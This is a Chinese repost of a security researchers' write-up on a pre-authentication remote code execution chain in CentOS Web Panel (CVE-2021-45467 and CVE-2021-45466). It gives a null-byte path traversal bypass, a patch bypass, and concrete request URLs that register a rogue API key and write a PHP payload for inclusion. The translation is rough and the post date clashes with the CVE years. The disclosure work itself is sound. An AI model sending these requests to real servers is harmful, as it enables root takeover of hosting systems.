CVE-2021-45467:CWP CentOS Web 面板 – preauth RCE

| 2019-05-17

CentOS Web Panel 或通常称为 CWP 是一种流行的网络托管管理软件,被超过 200,000 台独特的服务器使用,可以在 Shodan 或 Census 上找到。我们用来以 root 身份利用完整的 preauth 远程命令执行的漏洞链使用文件包含 (CVE-2021-45467) 和文件写入 (CVE-2021-45466) 漏洞。在这篇文章中,我们希望涵盖我们的漏洞研究之旅,以及我们如何接近这个特定目标。 

绘制攻击面

在本地环境中托管 CWP 后,很快就发现大多数功能都需要管理帐户或用户帐户才能执行。由于我们只对无需用户身份验证或交互即可利用的漏洞感兴趣,因此我们将避开所有受限制的部分,并将我们的研究重点放在在 webroot 中未经身份验证而暴露的面板部分。事实证明,暴露的并不多。 

/user/loader.php 和 /user/index.php 是一些无需身份验证即可访问的有趣页面:具有这种有趣的文件包含保护方法 (/user/loader.php):

<?php
if(!empty($_GET["api"])) {if (!empty($_GET["scripts"])) {
            $_GET["scripts"] = GETSecurity($_GET["scripts"]);
            include "../../resources/admin/scripts/" . $_GET["scripts"] . ".php";
        }

其中 GETSecurity() 定义如下: 

function GETSecurity($variable)
{
    if (stristr($variable, ".." ) {
        exit("hacking attempt");
    }
 }

如果参数“scripts”包含“..”(两个点),那么应用程序将不会处理输入,而是会退出,并向用户显示“黑客攻击”。 

strstr() 与 PHP 中的 strstr( )基本相同,只是它不区分大小写。看了代码后我有几个想法:

绕过 stristr() 的潜在方法: 

1.欺骗PHP将其他字符视为点(.) 

2. 查找语言 C 处理为小写时的点 (.) 的唯一字符。 

3. 让 PHP 认为没有连续的点 (..)

1.欺骗PHP将其他字符视为点:

对于第一种方法,在对基本的 unicode 范围进行模糊测试后,我们很快意识到 PHP 没有任何将其规范化为点的字符。所以这条路并不像我们想象的那么有希望。

2. 找到 C 语言处理为小写时的点的唯一字符。

这背后的想法是在想知道 strstr() 如何进行与 strstr() 不同的区分大小写检查之后产生的。PHP 是用 C 语言编写的,因此有时了解底层函数的工作方式会有所帮助。在这种情况下,查看 PHP 中的 php-src/ext/standard/string.c 证明 stristr() 基本上是 strstr():

PHPAPI char *php_stristr(char *s, char *t, size_t s_len, size_t t_len)
{
    zend_str_tolower(s, s_len);
    zend_str_tolower(t, t_len);
    return (char*)php_memnstr(s, t, t_len, s + s_len);
}

查看代码后,您会意识到该函数接受任何输入并将其转换为小写,然后再进行比较。因此,我们立即开始对唯一的 unicode 字符进行模糊测试,这些字符在小写时可能会转换为点。例如,在 javascript 中,字符“ſ”在大写时会转换为“S”:“ſ”.toUpperCase() => “S”。不幸的是,这并没有产生任何有用的结果,但我们确实发现了一些值得在以后发布的奇怪古怪行为。 

3. 让 PHP 认为没有连续的点 (..)

这需要直接进行模糊测试。在集思广益之后,我们得到了以下代码: 

运行上面的 fuzzer 实际上让我们绕过了:即/.%00./

.%00./ 是新的 ..;/

CVE-2021-45467

大多数 PHP 的函数(包括 require() 和 include() 函数)似乎将 / .%00./处理为 / ../ - 同样,虽然 stristr() 忽略空字节,但它仍然计算它的大小,因此它绕过了查看。

现在我们可以在服务器上包含任何文件。我们有一个完整的文件包含漏洞,如果我们找到一种写入文件的方法,我们可以获得 preauth RCE。然而,下一步并不像我们希望的那样简单,因为 CWP 附带了有趣的 unix 文件读/写锁定设置。服务器没有给我们简单的文件写入权限到日志或任何明显的东西。 

但是由于我们的文件包含错误,这意味着我们可以访问受限制的 API 部分,该部分需要 API 密钥才能访问并且无法访问,因为它没有暴露在 webroot 中。但是通过使用我们的文件包含,发送如下请求将导致服务器注册我们想要的任何 API 密钥。

获取 https://CWP/user/loader.php?api=1&scripts= .%00./.%00./api/account_new_create&acc=guadaapi&ip=192.168.1.1&keyapi=OCTAGON 

现在我们添加了从 192.168.1.1 请求访问完整 API 的 api 密钥“OCTAGON”,如下所示: 

GET https://CWP/api/?key=OCTAGON&api=add_server 现在是一个有效的 API 请求。当我们向 CWP 报告这个特定的漏洞时,他们的修复是添加以下代码:

function GETSecurity($variable)
{

if (stristr($variable, "..") || stristr($variable, ".%00.")) {        
exit("hacking attempt");
    }
}

绕过: .%00%00%00./.%00%00%00./api/account_new_create 让我们可以访问同一个文件,只需添加任意数量的空字节即可。

CVE-2021-45466

是时候找到一个基本的文件写入漏洞了。这不是很容易,但我们发现我们可以利用 API 部分中的文件写入错误,让我们添加到 .TXT 文件。例如,使用我们恶意添加的密钥

https://CWP/api/?key=OCTAGON&api=add_server&DHCP=<?=phpinfo()?>&fileFinal=/现在将写入位于 /resources/ 文件夹中的名为 authorized_keys 的文件。接下来我们使用我们的第一个文件包含错误来包含我们的恶意authorized_keys 文件以获得完整的RCE。 文件包含漏洞是通过 ZDI 程序报告的,并已 在 PHP 和 CWP 中进行了修补,但我们看到一些人设法扭转了补丁并利用了一些服务器。

 

所以重申一下步骤:

  1. 发送一个空字节驱动的文件包含负载以添加恶意 API 密钥 
  2. 使用 API 密钥写入文件 (CVE-2021-45466)
  3. 使用步骤 #1 包含我们刚刚写入的文件 (CVE-2021-45467)

编辑:航网科技 来源:腾讯云 本文版权归原作者所有 转载请注明出处

在线客服

微信扫一扫咨询客服


全国免费服务热线
0755-36300002

返回顶部